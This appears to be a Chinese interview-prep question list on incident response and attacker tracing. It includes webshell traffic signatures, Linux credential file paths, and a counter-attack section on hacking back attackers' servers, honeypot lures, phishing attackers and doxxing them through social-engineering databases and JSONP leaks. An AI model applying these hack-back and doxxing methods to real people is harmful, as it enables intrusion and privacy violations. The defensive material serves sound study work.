4727, 4737, 4739, 4764, 4767表示当用户组发生添加、删除内部成员时生成该事件。

5.windows,linux查进程端口的命令有哪些?

Windows:

​ netstat -ano

​ tasklist

linux:

​ ps

​ top

​ netstat -ntulp

6.常见的应急响应安全事件有哪些?

7.日常项目中有参加过哪些应急响应事件?

8.如何分析elf文件是否为恶意文件?

9.中间件后门怎么排查?

10.如何利用sqlmap进行溯源?

11.CS常见端口号是哪个?

12.域前置与云函数的原理是什么?怎么排查?

13.内存马有哪几种?怎么检测?

php不死马,java内存马

14.常见的webshell管理工具的流量特征?例如菜刀、蚁剑、冰蝎、哥斯拉等

菜刀:

1、webshell 为一句话木马

2、ua 头为百度火狐爬虫

3、请求体中存在 eavl,base64,payload为base64编码

4、响应为明文,格式为 X@Y +内容 + X@Y

蚁剑:

1、webshell 同样有 eavl,base64

2、ua 头为antsword

3、请求体中存在 @ini_set

4、响应为明文,格式为 随机数+结果 +随机数

冰蝎:

1、webshell 同样有 eavl,base64

2、webshell 中有 md5(密码)前16位

3、2.0 有一次GET请求返回16位的密钥

哥斯拉:

1、webshell 同样有 eavl,base64

2、请求为pass=

3、

15.拿到一个木马,如何进行行为分析以及脱壳?

16.linux 存账户与密码的文件分别是哪个?

/etc/passwd

/etc/shadow

17.应急过程会运用到哪些查杀工具?

18.内存马专杀工具有哪些?

19.在线木马分析网站有哪些?

微步、scanvir.....

20.在线情报获取网站有哪些?

一堆

21.linux的rootkit查杀如何进行?

22.应急响应过程会运用到哪些常用分析工具?

  • 1 进程分析工具
  • 2 流量分析工具
  • 3 启动项分析工具
  • 4 信息收集工具
  • 5 辅助工具
  • 6 Webshell查杀工具
  • 7 专杀工具

23.webshell查杀工具有哪些?

D盾、河马、百度WEBDIR+

24.常见的勒索病毒有哪些?

25.最近爆发的劫持性libgcc_a有了解吗?

26.遇到网页篡改安全事件如何快速应急响应?

27.钓鱼邮件如何进行应急响应?

屏蔽办公区域对钓鱼邮件内容涉及站点、URL 访问

根据办公环境实际情况可以在上网行为管理、路由器、交换机上进行屏蔽

邮件内容涉及域名、IP 均都应该进行屏蔽

对访问钓鱼网站的内网 IP 进行记录,以便后续排查溯源可能的后果

屏蔽钓鱼邮件

屏蔽钓鱼邮件来源邮箱域名

屏蔽钓鱼邮件来源 IP

有条件的可以根据邮件内容进行屏蔽

删除还在邮件服务器未被客户端收取钓鱼邮件

处理接收到钓鱼邮件的用户

根据钓鱼邮件发件人进行日志回溯

此处除了需要排查有多少人接收到钓鱼邮件之外,还需要排查是否公司通讯录泄露。采用 TOP500 姓氏撞库发送钓鱼邮件的攻击方式相对后续防护较为简单。如果发现是使用公司通讯录顺序则需要根据通讯录的离职情况及新加入员工排查通讯录泄露时间。毕竟有针对性的社工库攻击威力要比 TOP100、TOP500 大很多

通知已接收钓鱼邮件的用户进行处理

删除钓鱼邮件

系统改密

全盘扫毒

后续:溯源、员工培训提升安全意识

溯源反制能力

1.支付宝猜名字怎么猜?

转账猜姓

2.拿到一个木马之后如何开展溯源过程?

3.拿到一个攻击IP地址如何进行溯源反制?

4.是否具备自己独有的社工库?

GitHub、靠朋友、群里搜

5.如何对一个攻击IP进行信息定位?

6.溯源过程中,什么是高有效信息?

7.如何进行IP位置定位?

8.如何根据溯源过程进行攻击路线图的绘制?

9.溯源过程攻击者IP可通过哪些途径进行获取以及确认?

10.溯源过程发现攻击IP的服务器存在某些漏洞,如何进行反制?

11.溯源反制手段有哪些?

根据流量溯源反制:筛选攻击IP、域名,扫描端⼝服务,或通过威胁情报分析,对攻击者VPS进行溯源分析

蜜罐平台反制:模拟SSL VPN等平台,诱导攻击者下载应⽤软件及安装使⽤,上线攻击者主机

钓⻥反制:根据蜜罐捕获信息,通过社交软件平台、手机短信、邮件等方式进行钓钓鱼

12.钓鱼邮件如何进行反制?

根据蜜罐捕获信息,通过社交软件平台、手机短信、邮件等方式进行钓钓鱼

13.如何利用攻击者自编译攻击工具进行反制?

14.发现攻击者CS服务器如何进行反制?

15.如何利用蜜罐技术进行反制?

模拟SSL VPN等平台,诱导攻击者下载应⽤软件及安装使⽤,上线攻击者主机

16.什么是溯源反制?

溯源:通过攻击源分析攻击路径

反制:根据攻击源反向入侵攻击者vps(虚拟专用服务器)

17.溯源反制手段有哪些?

根据流量溯源反制:筛选攻击IP、域名,扫描端⼝服务,或通过威胁情报分析,对攻击者VPS进行溯源分析

蜜罐平台反制:模拟SSL VPN等平台,诱导攻击者下载应⽤软件及安装使⽤,上线攻击者主机

钓⻥反制:根据蜜罐捕获信息,通过社交软件平台、手机短信、邮件等方式进行钓钓鱼

18.蜜罐是怎么获取攻击者社交账号信息的?怎么防

浏览器信息读取

利用jsonp,跨域访问社交平台接口,提取包含的个人信息

使用浏览器隐私模式,或虚拟机内实施攻击操作

19.HW项目中有写过溯源报告?

有,在XXXHW项目中写过XXX攻击类型的溯源报告,提交了XX份报告,得分不清楚

20.常见溯源方法(溯源思路)有哪些?

1、通过恶意样本文件特征进行溯源渠道(github、网盘、博客、论坛等等)

2、域名、IP反查目标个人信息

3、微信、支付宝、淘宝等平台查找姓氏

4、蜜罐:浏览器指纹技术、网络欺骗技术

21.对攻击者进行身份画像有哪些?

虚拟身份:ID、昵称、网名

真实身份:姓名、物理位置

联系方式:手机号、qq/微信、邮箱

组织情况:单位名称、职位信息

21.HW期间没发现有效攻击事件如何得分?

可以通过对非法攻击溯源反制得分

可以通过提交灰黑产线索进行得分

22.获取到钓鱼邮件exe如何分析?

看创建日期,看备注信息

ida看调试信息,可能有个人id、网名

上传查杀、威胁检测平台,分析行为特征,获取内部url、ip地址等

各大威胁平台结果判断木马生成时间,是否已知

23.溯源收集目标邮箱对有什么用?

搜索引擎,查论坛,查博客,推测职业

社工库、第三方直接查个人信息

24.通过手机号后怎么获取攻击者信息?

各大社交平台

百度、谷歌搜索

各种app,如csdn、支付宝、钉钉、脉脉等,qq、微信好友

25.通过域名、ip怎么确认攻击者身份?

云平台域名、ip找回账号方式,获取手机号部分信息

搜索引擎查ip现有服务,历史服务,有无攻击特征

威胁情报、沙箱获取信息

百度贴吧、个人博客、技术论坛、网站备案等

26.通过哪些工具、网站获取攻击者信息?

自行总结

微步情报查询、埃文科技网站定位ip地址等

日志不记录post数据还有什么处理方法

内存马识别

Windows日志里部分数据被删了怎么办